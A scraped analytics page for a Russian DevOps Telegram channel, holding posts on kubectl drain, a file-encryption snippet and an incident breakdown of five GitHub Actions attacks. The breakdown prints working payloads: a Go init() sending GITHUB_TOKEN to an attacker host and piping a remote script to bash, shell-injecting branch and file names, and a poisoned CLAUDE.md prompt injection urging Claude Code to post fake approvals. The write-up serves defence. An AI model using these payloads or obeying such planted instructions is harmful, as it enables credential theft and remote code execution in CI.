Библиотека девопса | DevOps, SRE, Sysadmin
Все самое полезное для девопсера в одном канале. Наши курсы: https://clc.to/ZJ7Z1w По рекламе: @tproger_sales_bot Для обратной связи: @proglibrary_feeedback_bot РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787 Заявка: 8137718351
Mostrar más📈 Análisis del canal de Telegram Библиотека девопса | DevOps, SRE, Sysadmin
El canal Библиотека девопса | DevOps, SRE, Sysadmin (@devopsslib) en el segmento lingüístico de Ruso es un actor destacado. Actualmente la comunidad reúne a 10 340 suscriptores, ocupando la posición 11 827 en la categoría Tecnologías y Aplicaciones y el puesto 61 477 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 10 340 suscriptores.
Según los últimos datos del 28 octubre, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de -44, y en las últimas 24 horas de 1, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 10.47%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 5.07% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 1 082 visualizaciones. En el primer día suele acumular 524 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 1.
- Intereses temáticos: El contenido se centra en temas clave como devops'a, навигация, скрипт, docker, git.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“Все самое полезное для девопсера в одном канале.
Наши курсы: https://clc.to/ZJ7Z1w
По рекламе: @tproger_sales_bot
Для обратной связи: @proglibrary_feeedback_bot
РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787
Заявка: 8137718351”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 29 octubre, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
kubectl drain <node-name> --ignore-daemonsets --delete-emptydir-data
Kubernetes корректно выведет все поды с ноды, перенесёт их на другие ноды в кластере и отметит саму ноду как недоступную для новых подов. Workloads при этом не упадут, они просто переедут.
--ignore-daemonsets говорит системе не трогать DaemonSets, потому что они крутятся на каждой ноде и переносить их бесполезно. --delete-emptydir-data удаляет поды с пустыми томами, которые нельзя перенести нормально.
Drain работает только с управляемыми подами. Если у вас валяются standalone поды без контроллера, они просто удалятся. Поэтому перед drain проверьте, что важные поды находятся в Deployments, StatefulSets или других контроллерах.
После drain нода остаётся в состоянии unschedulable. Когда закончите работу, верните её обратно:
kubectl uncordon <node-name>
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_prompt1. единый интерфейс для метрик, логов и трейсов — чтобы быстро собрать полную картину по системе 2. поиск инцидентов и первопричин (особенно полезно в микросервисной архитектуре) 3. гибкий алертинг и сценарии эскалации, включая уведомления и звонки ответственным 4. мониторинг приложений, инфраструктуры и ИИ-агентов — в облаке и в on-prem средеВнутри Яндекса с платформой ежемесячно работают около 16 тысяч сотрудников. В систему каждую секунду записывается до 3 млрд семплов метрик, 44 млн спанов и 60 ГБ логов. Платформу уже тестируют ОТП Банк и крупная FMCG-компания — хороший сигнал для enterprise-сегмента. Observability всё чаще связывают с экономическим эффектом, потому что простои и деградации напрямую бьют по доходам, а скорость диагностики становится фактором конкурентоспособности. Где больнее всего мониторинг: микросервисы, legacy-монолит, on-prem, гибрид или облако? 👇
from cryptography.fernet import Fernet
def encrypt_file(file_path):
key = Fernet.generate_key()
cipher = Fernet(key)
with open(file_path, "rb") as file:
encrypted_data = cipher.encrypt(file.read())
with open(file_path + ".enc", "wb") as enc_file:
enc_file.write(encrypted_data)
print(f"File encrypted! Key: {key.decode()}")
if __name__ == "__main__":
encrypt_file("secrets.txt")
Скрипт читает файл, шифрует его содержимое и сохраняет с расширением .enc. Ключ генерируется автоматически — сохраните его, без него расшифровать файл не получится.
⚠️ Не храните ключ рядом с зашифрованным файлом.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_promptcurl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.
Атака 1. avelino/awesome-go — кража токена через Go init()
Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.
Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.
В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}
Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.
Атака 2. project-akri/akri — прямая инъекция в shell-скрипт
Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()
Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.
Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.
Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки
Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)
Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:
- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...
Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.
Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла
Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md
При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.
Атака 5. ambient-code/platform — prompt injection в CLAUDE.md
Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.
Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.
Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.
Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#разбор_полётовGITHUB_TOKEN с правами contents: write и pull-requests: write на внешний сервер.
Все пять атак использовали одни и те же типичные ошибки в конфигурации воркфлоу: pull_request_target с checkout кода из форка, запуск shell-команд через неэкранированные ${{ }} выражения, отсутствие проверки author_association в триггерах по комментариям и избыточные права GITHUB_TOKEN.
➡️ Источник
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#разбор_полётов